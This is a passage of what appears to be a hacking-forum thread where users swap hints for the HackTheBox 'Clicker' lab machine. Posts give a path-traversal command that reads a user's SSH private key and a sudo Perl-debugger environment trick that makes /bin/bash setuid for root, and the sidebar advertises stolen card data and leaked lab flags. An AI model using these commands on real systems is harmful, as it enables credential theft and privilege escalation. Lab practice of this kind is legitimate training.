Temporary Advertisements:
Ad
Ad
Ad
HTB -- Clicker
by XAPTAIN - Sunday September 24, 2023 at 05:52 AM
#11
(Sep 25, 2023, 02:19 PM)kayiz113987 Wrote:
(Sep 25, 2023, 01:05 PM)p4v41jt2 Wrote:
(Sep 25, 2023, 09:45 AM)kayiz113987 Wrote: How i can get jack shell with decompile excute-query file ?

This executable read sql scripts from a custom directory but you don't have permissions on it.

You should try with more arguments (;

Yup i have tried to call another sql script from temp folder and hijacking the path but it isn't successful.

./execute_query 777 ../.ssh/id_rsa
#12
(Sep 25, 2023, 03:17 PM)blade33 Wrote:
(Sep 25, 2023, 02:19 PM)kayiz113987 Wrote:
(Sep 25, 2023, 01:05 PM)p4v41jt2 Wrote:
(Sep 25, 2023, 09:45 AM)kayiz113987 Wrote: How i can get jack shell with decompile excute-query file ?

This executable read sql scripts from a custom directory but you don't have permissions on it.

You should try with more arguments (;

Yup i have tried to call another sql script from temp folder and hijacking the path but it isn't successful.

./execute_query 777 ../.ssh/id_rsa

I got id_rsa but ssh login fails. How to solve???

ssh -i key [email protected]                 
Load key "key": error in libcrypto
[email protected]'s password:
#13
(Sep 26, 2023, 09:37 AM)xxxxx Wrote:
(Sep 25, 2023, 03:17 PM)blade33 Wrote:
(Sep 25, 2023, 02:19 PM)kayiz113987 Wrote:
(Sep 25, 2023, 01:05 PM)p4v41jt2 Wrote:
(Sep 25, 2023, 09:45 AM)kayiz113987 Wrote: How i can get jack shell with decompile excute-query file ?

This executable read sql scripts from a custom directory but you don't have permissions on it.

You should try with more arguments (;

Yup i have tried to call another sql script from temp folder and hijacking the path but it isn't successful.

./execute_query 777 ../.ssh/id_rsa

I got id_rsa but ssh login fails. How to solve???

ssh -i key [email protected]                 
Load key "key": error in libcrypto
[email protected]'s password:

add 2 "--" at the end of -----BEGIN OPENSSH PRIVATE KEY--- and -----END OPENSSH PRIVATE KEY---
#14
Anyone has any tips on how to get the password for jack? Or a way to gain edit permissions for monitor.sh?
#15
(Sep 26, 2023, 03:03 PM)josehacker Wrote: Anyone has any tips on how to get the password for jack? Or a way to gain edit permissions for monitor.sh?
You can deal with environment variables:
sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh
#16
(Sep 26, 2023, 04:12 PM)Dn1pr0 Wrote:
(Sep 26, 2023, 03:03 PM)josehacker Wrote: Anyone has any tips on how to get the password for jack? Or a way to gain edit permissions for monitor.sh?
You can deal with environment variables:
sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh

Good information to know. Didnt pay much attention to SETENV. 

Would you be able to do a quick summary of what the command does? It just fails, but dont mind understanding what it does, as it looks like Perl.
#17
(Sep 26, 2023, 05:27 PM)josehacker Wrote:
(Sep 26, 2023, 04:12 PM)Dn1pr0 Wrote:
(Sep 26, 2023, 03:03 PM)josehacker Wrote: Anyone has any tips on how to get the password for jack? Or a way to gain edit permissions for monitor.sh?
You can deal with environment variables:
sudo PERL5OPT=-d PERL5DB='system("chmod u+s /bin/bash");' /opt/monitor.sh

Good information to know. Didnt pay much attention to SETENV. 

Would you be able to do a quick summary of what the command does? It just fails, but dont mind understanding what it does, as it looks like Perl.

NVM, rooted. What a machine. Google LD_PRELOAD priv escalation. It helped me a ton.
#18
I got the secret.key but it ask's me for password when connecting to ssh ja**@10.10.11.232 Even i changed the id_rsa from RSA Format to OPENSSH format but still ask for password ?? any help please ?
#19
The last non-spam response in the topic was more than a month ago. I close the topic as irrelevant to prevent spam. If this is not the case, please send a pm and I will open the topic for discussion again.


Possibly Related Threads…
Thread Author Replies Views Last Post
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 457 121,818 4 hours ago
Last Post: jiqmug
  [MEGALEAK] HackTheBox ProLabs, Fortress, Endgame - Alchemy, 250 Flags, leak htb-bot htb-bot 166 34,881 6 hours ago
Last Post: meomeothantai
  CC,CVV,VBV,NON VBV ,DUMPS ,FULLZ,BANK LOGS (FULL INFO) BEST LINKABLES @RICKBUTLER Ballerwailer4G 0 89 10 hours ago
Last Post: Ballerwailer4G
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 110 14,339 Yesterday, 06:21 PM
Last Post: Kazahk
Heart [FREE] HackTheBox All Cheatsheets Tamarisk 85 11,331 Yesterday, 06:13 PM
Last Post: Kazahk

Forum Jump:


 Users browsing this forum: